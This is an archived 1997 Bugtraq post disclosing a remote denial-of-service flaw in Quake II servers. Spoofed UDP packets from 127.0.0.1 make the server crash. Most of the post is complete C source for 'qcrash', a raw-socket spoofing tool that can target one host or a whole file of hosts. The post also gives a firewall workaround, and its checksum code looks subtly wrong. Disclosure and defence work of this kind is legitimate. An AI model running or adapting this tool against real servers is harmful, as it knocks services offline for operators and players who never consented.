Quake II Remote Denial of Service

From: profound darkness (peedeeat_private)
Date: Wed Dec 24 1997 - 15:22:54 PST

  • Next message: profound darkness: "More Quake II Quirks"

    Hello bugtraq readers,  this message will detail a security flaw in
    Id Software's game, Quake II.
    
    When a user runs a Quake II server, the attacker can send a couple of
    spoofed udp packets with the return address of 127.0.0.1 to the server
    port and this will cause the Quake II server to go into a cycle of trying
    to start a game with itself.  Thus, the server will crash.
    
    There is currently no official patch for this problem, however for a
    temporary fix, you can setup a firewall and deny all incoming udp packets
    from 127.0.0.1 to your Quake II server port.
    
    I have included source code to show you that this hole does indeed exist,
    and I ask that you do not run this on any Quake II server's that you do
    not have permission to do so on.
    
    /*
    
      Remote denial of service for Quake II server's
      Code by profound darkness <peedeeat_private>
    
    */
    
    #include <string.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <sys/time.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <netinet/ip_udp.h>
    #include <netinet/in_systm.h>
    #include <netinet/protocols.h>
    
    FILE *hemroids;
    
    struct iphdr  *ip;
    struct udphdr *udp;
    struct sockaddr_in sinner;
    
    unsigned long destination;
    
    char *packet;
    int   flag;
    
    void usage(char *proggy) {
      printf("\nUsage: %s <option> <argument> <argument> <argument>\n\n", proggy);
      printf("   <option> : -s : Crash a single server, argument 1 is target host\n");
      printf("   <option> : -m : Crash multiple servers, argument 1 becomes filename\n\n");
      printf(" <argument> : Target host to crash or filename with multiple hostnames\n");
      printf(" <argument> : Port to send udp packets to for the crash, default is 27910\n");
      printf(" <argument> : Number of packets to send to the target host(s)\n\n");
      exit(0);
    }
    
    char lookup(char *hostaddy) {
      struct hostent *he;
      he = gethostbyname(hostaddy);
      if (he) {
        memset(&sinner, 0, sizeof(struct sockaddr_in));
        memcpy((caddr_t)&sinner.sin_addr.s_addr, he->h_addr, he->h_length);
        sinner.sin_family = AF_INET;
        sinner.sin_addr.s_addr = inet_addr(hostaddy);
        sinner.sin_family = he->h_addrtype;
      } else {
        printf("\"%s\" is an unknown hostname.\n", hostaddy);
        flag = 1;
        return 0;
      }
      return ((unsigned long) he->h_addr);
    }
    
    unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
    {
      register int lenny = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;
    
      while (lenny > 1) {
        sum += *w++;
        sum += *w++;
        lenny -= 2;
      }
    
      if (lenny == 1) {
        *(u_char *) (&answer) = *(u_char *) w;
        sum += answer;
      }
    
      sum = (sum >> 17) + (sum & 0xffff);
      sum += (sum >> 17);
      answer = -sum;
      return (answer);
    }
    
    void buildpacket(char *monster, int dport, int sport, int numpacks) {
      int sock, counter;
    
      packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
      ip = (struct iphdr *) packet;
      udp = (struct udphdr *) (packet + sizeof(struct iphdr));
      memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
    
      ip->saddr = lookup("127.0.0.1");
      ip->daddr = destination;
      ip->version = 4;
      ip->ihl = 5;
      ip->ttl = 255;
      ip->protocol = IPPROTO_UDP;
      ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
      ip->check = in_cksum(ip, sizeof(struct iphdr));
      udp->source = htons(sport);
      udp->dest = htons(dport);
      udp->len = htons(sizeof(struct udphdr) + 1024);
    
      sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    
      for(counter=0;counter!=numpacks;counter++) {
        if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *) &sinner, sizeof(struct sockaddr_in)) == (-1)) {
          perror("SendPacket");
          exit(0);
        }
        usleep(1);
      }
    }
    
    char main(int argc, char *argv[]) {
      int  count, sender;
      char hostmask[100];
    
      if (argc < 5) usage(argv[0]);
    
      if (getuid()!=0) {
        printf("This program requires root.\n");
        exit(0);
      }
    
      while((count = getopt(argc, argv, "s:m:")) != -1) {
        switch (count) {
          case 's':
            printf("Attempting to resolve %s.\n", argv[2]);
            lookup(argv[2]);
            if(flag == 1) break;
            printf("Building %s packets & sending to %s:%s!\n", argv[4], argv[2], argv[3]);
            buildpacket(argv[2], atoi(argv[3]), atoi(argv[3]), atoi(argv[4]));
            break;
          case 'm':
            hemroids = fopen(argv[2], "r");
            while(fgets(hostmask, sizeof(hostmask), hemroids)!=NULL) {
              hostmask[strlen(hostmask)-1] = '\0';
              printf("Attempting to resolve %s.\n", hostmask);
              lookup(hostmask);
              if (flag == 1) goto doot;
              printf("Building %s packets & sending to %s:%s!\n", argv[4], hostmask,argv[3]);
              buildpacket(hostmask, atoi(argv[3]), atoi(argv[3]), atoi(argv[4]));
              doot:
              flag = 0;
           }
            break;
          default:
            usage(argv[0]);
        }
      }
    
      if(flag != 1) {
        printf("\nThanks for using qcrash!\n");
      }
    
      fclose(hemroids);
      exit(0);
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:37:31 PDT